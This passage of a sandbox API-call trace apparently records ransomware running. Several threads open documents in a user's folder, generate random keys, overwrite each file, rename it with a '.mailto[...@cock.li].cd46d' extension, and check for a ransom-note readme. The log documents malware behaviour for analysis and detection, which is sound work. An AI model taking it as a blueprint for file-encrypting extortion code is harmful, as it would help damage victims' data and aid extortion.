0x429138 [0053.033] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0053.033] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0053.033] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c2d0) returned 1 [0053.033] WriteFile (in: hFile=0xe94, lpBuffer=0x1975a1e8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1162fcdc, lpOverlapped=0x0 | out: lpBuffer=0x1975a1e8*, lpNumberOfBytesWritten=0x1162fcdc*=0xc800, lpOverlapped=0x0) returned 1 [0053.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1975a1e8) returned 1 [0053.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1974d9e0) returned 1 [0053.475] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3d) returned 0x44c288 [0053.475] SetFilePointerEx (in: hFile=0xe94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.476] WriteFile (in: hFile=0xe94, lpBuffer=0x12d09a80*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x1162fd5c, lpOverlapped=0x0 | out: lpBuffer=0x12d09a80*, lpNumberOfBytesWritten=0x1162fd5c*=0x121, lpOverlapped=0x0) returned 1 [0053.928] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d09a80) returned 1 [0053.928] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0053.928] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf528) returned 1 [0053.928] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0053.928] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429098) returned 1 [0053.928] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429110) returned 1 [0053.928] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429160) returned 1 [0053.928] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429188) returned 1 [0053.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40df58 [0053.928] wcscpy (in: _Dest=0x40df58, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VcBemMZT6g2ocMWtTQ9M.odt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VcBemMZT6g2ocMWtTQ9M.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VcBemMZT6g2ocMWtTQ9M.odt" [0053.928] wcscat (in: _Dest=0x40df58, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VcBemMZT6g2ocMWtTQ9M.odt.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VcBemMZT6g2ocMWtTQ9M.odt.mailto[2Hamlampampom@cock.li].cd46d" [0053.928] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VcBemMZT6g2ocMWtTQ9M.odt.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1162fd14, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VcBemMZT6g2ocMWtTQ9M.odt.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.928] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe0) returned 0x96f0008 [0053.945] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f0008) returned 1 [0053.945] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48e880) returned 1 [0053.945] NtQueryInformationFile (in: FileHandle=0xe94, IoStatusBlock=0x1162fd20, FileInformation=0x1162fcf8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1162fd20, FileInformation=0x1162fcf8) returned 0x0 [0053.945] NtSetInformationFile (FileHandle=0xe94, IoStatusBlock=0x1162fd20, FileInformation=0x1162fcf8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.946] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40df58) returned 1 [0053.946] FlushFileBuffers (hFile=0xe94) returned 1 [0053.950] CloseHandle (hObject=0xe94) returned 1 [0053.950] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e08518 [0053.950] wcscpy (in: _Dest=0x12e08518, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0053.951] wcscat (in: _Dest=0x12e08518, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0053.951] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0053.951] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e08518) returned 1 [0053.951] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417e00) returned 1 Thread: id = 856 os_tid = 0x113c [0051.750] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vg73EGcGec-L-sJjnA.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vg73egcgec-l-sjjna.ppt")) returned 0x20 [0051.750] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vg73EGcGec-L-sJjnA.ppt", dwFileAttributes=0x20) returned 1 [0053.034] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vg73EGcGec-L-sJjnA.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vg73egcgec-l-sjjna.ppt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe98 [0053.034] GetFileSizeEx (in: hFile=0xe98, lpFileSize=0x15a8fb3c | out: lpFileSize=0x15a8fb3c*=13136) returned 1 [0053.034] SetFilePointerEx (in: hFile=0xe98, liDistanceToMove=0x334c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.034] ReadFile (in: hFile=0xe98, lpBuffer=0x15a8fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x15a8fabc, lpOverlapped=0x0 | out: lpBuffer=0x15a8fac0*, lpNumberOfBytesRead=0x15a8fabc*=0x4, lpOverlapped=0x0) returned 1 [0053.034] SetFilePointerEx (in: hFile=0xe98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.035] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0053.035] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4291b0 [0053.035] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4291d8 [0053.035] NtQuerySystemTime (in: CurrentTime=0x15a8fa9c | out: CurrentTime=0x15a8fa9c*=132174898170168000) returned 0x0 [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x50f59bfd [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x342e076e [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x64d10ba [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x7c14ebe [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x6b0609ed [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x793d20f0 [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0xe68367f [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x7b4df48c [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x5a0430b [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x2c91336b [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x6a857fad [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x29d058b [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x978ff6c [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x319e87eb [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x661bd148 [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x51a012bb [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x63504aad [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x6a2fce2d [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x178da165 [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x5c4c9698 [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x4ff38c6e [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x2d2c35c0 [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x60e01ffc [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x3248a631 [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x6adb312d [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x1e9f265f [0053.035] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x38b59907 [0053.036] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x19947e9b [0053.036] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x79892f73 [0053.036] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x416c9485 [0053.036] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x2487c8dc [0053.036] RtlRandomEx (in: Seed=0x15a8faa8 | out: Seed=0x15a8faa8) returned 0x6a165fba [0053.048] ReadFile (in: hFile=0xe98, lpBuffer=0x197669f0, nNumberOfBytesToRead=0x3350, lpNumberOfBytesRead=0x15a8fa98, lpOverlapped=0x0 | out: lpBuffer=0x197669f0*, lpNumberOfBytesRead=0x15a8fa98*=0x3350, lpOverlapped=0x0) returned 1 [0053.049] SetFilePointerEx (in: hFile=0xe98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.049] WriteFile (in: hFile=0xe98, lpBuffer=0x197731f8*, nNumberOfBytesToWrite=0x3350, lpNumberOfBytesWritten=0x15a8fa94, lpOverlapped=0x0 | out: lpBuffer=0x197731f8*, lpNumberOfBytesWritten=0x15a8fa94*=0x3350, lpOverlapped=0x0) returned 1 [0053.477] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf550 [0053.477] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf578 [0053.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf578) returned 1 [0053.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197731f8) returned 1 [0053.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197669f0) returned 1 [0053.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0053.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c2d0) returned 1 [0053.477] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x39) returned 0x44c2d0 [0053.477] SetFilePointerEx (in: hFile=0xe98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.477] WriteFile (in: hFile=0xe98, lpBuffer=0x12d09bb0*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x15a8fafc, lpOverlapped=0x0 | out: lpBuffer=0x12d09bb0*, lpNumberOfBytesWritten=0x15a8fafc*=0x11d, lpOverlapped=0x0) returned 1 [0053.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d09bb0) returned 1 [0053.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0053.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf578) returned 1 [0053.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c2d0) returned 1 [0053.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf550) returned 1 [0053.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4291b0) returned 1 [0053.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429200) returned 1 [0053.618] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429228) returned 1 [0053.618] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e010a0 [0053.618] wcscpy (in: _Dest=0x5e010a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vg73EGcGec-L-sJjnA.ppt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vg73EGcGec-L-sJjnA.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vg73EGcGec-L-sJjnA.ppt" [0053.618] wcscat (in: _Dest=0x5e010a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vg73EGcGec-L-sJjnA.ppt.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vg73EGcGec-L-sJjnA.ppt.mailto[2Hamlampampom@cock.li].cd46d" [0053.618] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vg73EGcGec-L-sJjnA.ppt.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x15a8fab4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vg73EGcGec-L-sJjnA.ppt.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.619] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12d09960 [0053.726] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d09960) returned 1 [0053.726] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a24e0) returned 1 [0053.726] NtQueryInformationFile (in: FileHandle=0xe98, IoStatusBlock=0x15a8fac0, FileInformation=0x15a8fa98, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x15a8fac0, FileInformation=0x15a8fa98) returned 0x0 [0053.726] NtSetInformationFile (FileHandle=0xe98, IoStatusBlock=0x15a8fac0, FileInformation=0x15a8fa98, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.767] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e010a0) returned 1 [0053.767] FlushFileBuffers (hFile=0xe98) returned 1 [0053.771] CloseHandle (hObject=0xe98) returned 1 [0053.771] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400618 [0053.771] wcscpy (in: _Dest=0x400618, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0053.771] wcscat (in: _Dest=0x400618, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0053.771] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0053.772] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400618) returned 1 [0053.772] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447dc0) returned 1 Thread: id = 857 os_tid = 0x1140 [0051.751] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WNszWi0-Z8B7Pw32db1n.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wnszwi0-z8b7pw32db1n.pptx")) returned 0x20 [0051.751] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WNszWi0-Z8B7Pw32db1n.pptx", dwFileAttributes=0x20) returned 1 [0053.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WNszWi0-Z8B7Pw32db1n.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wnszwi0-z8b7pw32db1n.pptx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe9c [0053.049] GetFileSizeEx (in: hFile=0xe9c, lpFileSize=0x11a8fef8 | out: lpFileSize=0x11a8fef8*=43954) returned 1 [0053.049] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0xabae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.049] ReadFile (in: hFile=0xe9c, lpBuffer=0x11a8fe7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11a8fe78, lpOverlapped=0x0 | out: lpBuffer=0x11a8fe7c*, lpNumberOfBytesRead=0x11a8fe78*=0x4, lpOverlapped=0x0) returned 1 [0053.050] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.050] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429138 [0053.050] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4291d8 [0053.050] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429250 [0053.050] NtQuerySystemTime (in: CurrentTime=0x11a8fe58 | out: CurrentTime=0x11a8fe58*=132174898170324000) returned 0x0 [0053.050] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x3312e212 [0053.050] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x52e4383d [0053.050] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x78148cb9 [0053.050] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x403269b3 [0053.050] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x761d3d81 [0053.050] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x8a3808b [0053.050] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x673e5f0b [0053.050] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x5fc4490e [0053.050] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x55723262 [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x31f1aca1 [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x4f40480b [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x6dff101c [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x5647f59f [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x7cac2ad3 [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x690af6d5 [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x20de7ba3 [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x25d5bbbb [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x576e271e [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x568efa2 [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x3be4fcdc [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x24d03d53 [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x75f3983 [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x29dee7ff [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x570bc138 [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x6d7aeef2 [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x3472782f [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0xf0e0b3f [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x23e62345 [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x6309bdc2 [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x2bf40b6e [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x68ac1a78 [0053.051] RtlRandomEx (in: Seed=0x11a8fe64 | out: Seed=0x11a8fe64) returned 0x5eb2c4ec [0053.066] ReadFile (in: hFile=0xe9c, lpBuffer=0x1977fa00, nNumberOfBytesToRead=0xabb2, lpNumberOfBytesRead=0x11a8fe54, lpOverlapped=0x0 | out: lpBuffer=0x1977fa00*, lpNumberOfBytesRead=0x11a8fe54*=0xabb2, lpOverlapped=0x0) returned 1 [0053.067] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.067] WriteFile (in: hFile=0xe9c, lpBuffer=0x1978c208*, nNumberOfBytesToWrite=0xabb2, lpNumberOfBytesWritten=0x11a8fe50, lpOverlapped=0x0 | out: lpBuffer=0x1978c208*, lpNumberOfBytesWritten=0x11a8fe50*=0xabb2, lpOverlapped=0x0) returned 1 [0053.479] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf5a0 [0053.479] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf5c8 [0053.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf5c8) returned 1 [0053.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1978c208) returned 1 [0053.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1977fa00) returned 1 [0053.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437aa8) returned 1 [0053.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0053.479] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3f) returned 0x44c318 [0053.479] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.480] WriteFile (in: hFile=0xe9c, lpBuffer=0x12d09cd8*, nNumberOfBytesToWrite=0x123, lpNumberOfBytesWritten=0x11a8feb8, lpOverlapped=0x0 | out: lpBuffer=0x12d09cd8*, lpNumberOfBytesWritten=0x11a8feb8*=0x123, lpOverlapped=0x0) returned 1 [0053.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d09cd8) returned 1 [0053.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0053.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf5c8) returned 1 [0053.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0053.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf5a0) returned 1 [0053.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4291d8) returned 1 [0053.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429278) returned 1 [0053.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292a0) returned 1 [0053.620] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40dcd0 [0053.620] wcscpy (in: _Dest=0x40dcd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WNszWi0-Z8B7Pw32db1n.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WNszWi0-Z8B7Pw32db1n.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WNszWi0-Z8B7Pw32db1n.pptx" [0053.620] wcscat (in: _Dest=0x40dcd0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WNszWi0-Z8B7Pw32db1n.pptx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WNszWi0-Z8B7Pw32db1n.pptx.mailto[2Hamlampampom@cock.li].cd46d" [0053.620] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WNszWi0-Z8B7Pw32db1n.pptx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x11a8fe70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WNszWi0-Z8B7Pw32db1n.pptx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.620] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe2) returned 0x12d09bb0 [0053.730] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d09bb0) returned 1 [0053.730] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a2708) returned 1 [0053.730] NtQueryInformationFile (in: FileHandle=0xe9c, IoStatusBlock=0x11a8fe7c, FileInformation=0x11a8fe54, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x11a8fe7c, FileInformation=0x11a8fe54) returned 0x0 [0053.730] NtSetInformationFile (FileHandle=0xe9c, IoStatusBlock=0x11a8fe7c, 